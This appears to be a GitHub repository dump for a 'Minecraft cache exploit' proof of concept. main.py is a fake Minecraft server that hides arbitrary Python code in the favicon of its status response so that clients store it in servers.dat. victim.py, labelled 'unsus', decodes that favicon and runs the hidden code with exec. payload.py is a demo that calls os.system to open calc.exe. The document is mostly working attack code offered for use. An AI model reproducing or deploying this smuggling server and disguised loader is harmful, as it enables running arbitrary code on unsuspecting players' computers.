├── .gitattributes ├── README.md ├── img.png ├── main.py ├── payload.py └── victim.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MCCE (Minecraft Cache Exploit) ⛏ 2 | 3 | ### This little code allow you to store code on victims computer 4 | 5 | ## How does it works 6 | 7 | ``` 8 | 1. VICTIM : sends SLP handshake to the fake server 9 | 2. SERVER : handle the handshake 10 | 3. SERVER : hide code into favicon 11 | 4. SERVER : sends SLP response to the victim 12 | 5. VICTIM : handle the SLP response and store the code into servers.dat 13 | ``` 14 | 15 | ## Credits 16 | 17 | * dropsql 18 | 19 | * ⚠ the idea is base on a checksum's project (https://github.com/ecriminal/Exploit-Discord-Cache-System-PoC) 20 | 21 | -------------------------------------------------------------------------------- /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dropsql/mcce/64029c8218d42d51e5eb6b89c98c1cf0cd93b605/img.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | # Minecraft cache exploit PoC 2 | # by dropskid @ github.com/dropsql 3 | # 01.03.2021 4 | 5 | import os 6 | import sys 7 | import json 8 | import time 9 | import socket 10 | import struct 11 | import base64 12 | import argparse 13 | 14 | from typing import * 15 | 16 | from rich.console import Console 17 | 18 | console = Console(log_time_format='`%X`') 19 | 20 | def make_payload(code: str, favicon: bytes) -> bytes: 21 | ''' make a payload ''' 22 | 23 | favicon += b'[]%s[]' % code.encode() # add the code to the favicon bytes 24 | 25 | # create a fake SLP responce 26 | payload = json.dumps({ 27 | 'version': { 28 | 'name': 'CoolSpigot 1.3.3.7', 29 | 'protocol': 47 30 | }, 'players': { 31 | 'max': 1, 32 | 'online': 0, 33 | }, 34 | 'description': 'join for free diamonds', 35 | 'favicon': f'data:image/png;base64,{base64.b64encode(favicon).decode()}' # here is the favicon with our code in 36 | }).encode() 37 | 38 | packet = data_pack(varint_pack(0) + data_pack(payload)) # make the packet understable by any Minecraft client 39 | return packet 40 | 41 | def varint_unpack(s: bytes) -> Tuple[int, str]: 42 | ''' extract varint from bytes ''' 43 | d, l = 0, 0; length = len(s) 44 | if length > 5: 45 | length = 5 46 | for i in range(length): 47 | l += 1; b = s[i]; d |= (b & 0x7F) << 7 * i 48 | if not b & 0x80: 49 | break 50 | return (d, s[l:]) 51 | 52 | def varint_pack(digit: int) -> bytes: 53 | ''' pack integer to varint ''' 54 | ordinal = b'' 55 | for _ in range(5): 56 | b = digit & 0x7F; digit >>= 7 57 | ordinal += struct.pack("B", b | (0x80 if digit > 0 else 0)) 58 | if digit == 0: 59 | break 60 | return ordinal 61 | 62 | def data_pack(data: bytes) -> bytes: 63 | return varint_pack(len(data)) + data 64 | 65 | BANNER = '''[red] 66 | 67 | M M CCC CCC EEEE 68 | MM MM C C E [grey37]1.0.0[/grey37] 69 | M M M C C EEE [pink1]minecraft cache exploit PoC[/pink1] 70 | M M C C E [cyan](upload remote python code on clients computers)[/cyan] 71 | M M CCC CCC EEEE [pink1]made by drops (github.com/dropsql)[/pink1] 72 | [/red] 73 | ''' 74 | 75 | console.print(BANNER) 76 | 77 | parser = argparse.ArgumentParser(usage='%(prog)s [options]') 78 | 79 | parser.add_argument('-lh', '--lhost', default='localhost', required=False, metavar='', help='local host (default: localhost)', dest='host', type=str) 80 | parser.add_argument('-p', '--port', default=1337, required=False, metavar='', help='local port (default: 1337)', dest='port', type=int) 81 | parser.add_argument('--payload', required=True, metavar='', help='payload to exec', dest='payload', type=str) 82 | parser.add_argument('--favicon', required=True, metavar='', help='favicon to embed', dest='favicon', type=str) 83 | 84 | args = parser.parse_args() 85 | 86 | # load the code from the python file 87 | try: 88 | code = '\n'.join([x.strip() for x in open(args.payload).readlines()]) 89 | except: 90 | console.log('failed to load payload code.') 91 | sys.exit() 92 | 93 | # load the favicon from the png file 94 | try: 95 | fav = open(args.favicon, 'rb').read() 96 | except: 97 | console.log('failed to load favicon.') 98 | sys.exit() 99 | 100 | payload = make_payload(code, fav) # create the payload 101 | 102 | console.log(f'new payload lenght: {len(payload)} bytes') 103 | 104 | # initialize the server 105 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 106 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 107 | 108 | server.bind((args.host, args.port)) 109 | 110 | console.log(f'server server listening on "{args.host}:{args.port}"') 111 | 112 | server.listen(1337) # wait for incoming connection 113 | 114 | remote_socket, remote_addr = server.accept() # accept incoming connection 115 | 116 | # receive lenght of the whole SLP packet 117 | buf = remote_socket.recv(1) 118 | packet_lenght, _ = varint_unpack(buf) 119 | 120 | # receive SLP packet 121 | data = remote_socket.recv(packet_lenght) 122 | packet_id, data = varint_unpack(data) 123 | 124 | if packet_id == 0 and data.endswith(varint_pack(1)): # check if the received packet is a SLP handshake [wiki.vg/Server_List_Ping] 125 | console.log(f'"{remote_addr[0]}:{remote_addr[1]}" sent SLP packet') 126 | remote_socket.send(payload) # send the packet to the victim 127 | console.log('payload has been sent to the victim.') 128 | time.sleep(5) # wait for the victim get the whole packet and store it 129 | console.log('exploit is done.') 130 | sys.exit() 131 | else: 132 | console.log('victim didn\'t sent any SLP handshake.') 133 | sys.exit() 134 | -------------------------------------------------------------------------------- /payload.py: -------------------------------------------------------------------------------- 1 | # any python code here, the code will be injected to the victim's computer 2 | [__import__('os').system('start calc.exe') for _ in range(5)] -------------------------------------------------------------------------------- /victim.py: -------------------------------------------------------------------------------- 1 | # simple unsus python code here 👀 2 | 3 | import os, pynbt, base64 4 | 5 | for server in pynbt.NBTFile(io=(f := open(f'{os.getenv("appdata")}\\.minecraft\\servers.dat', 'rb')))['servers']: 6 | try: 7 | exec(base64.b64decode(server['icon'].value.encode()).decode(errors='ignore').split('[]')[1].split('[]')[0]) 8 | f.close() 9 | break 10 | except: 11 | continue 12 | --------------------------------------------------------------------------------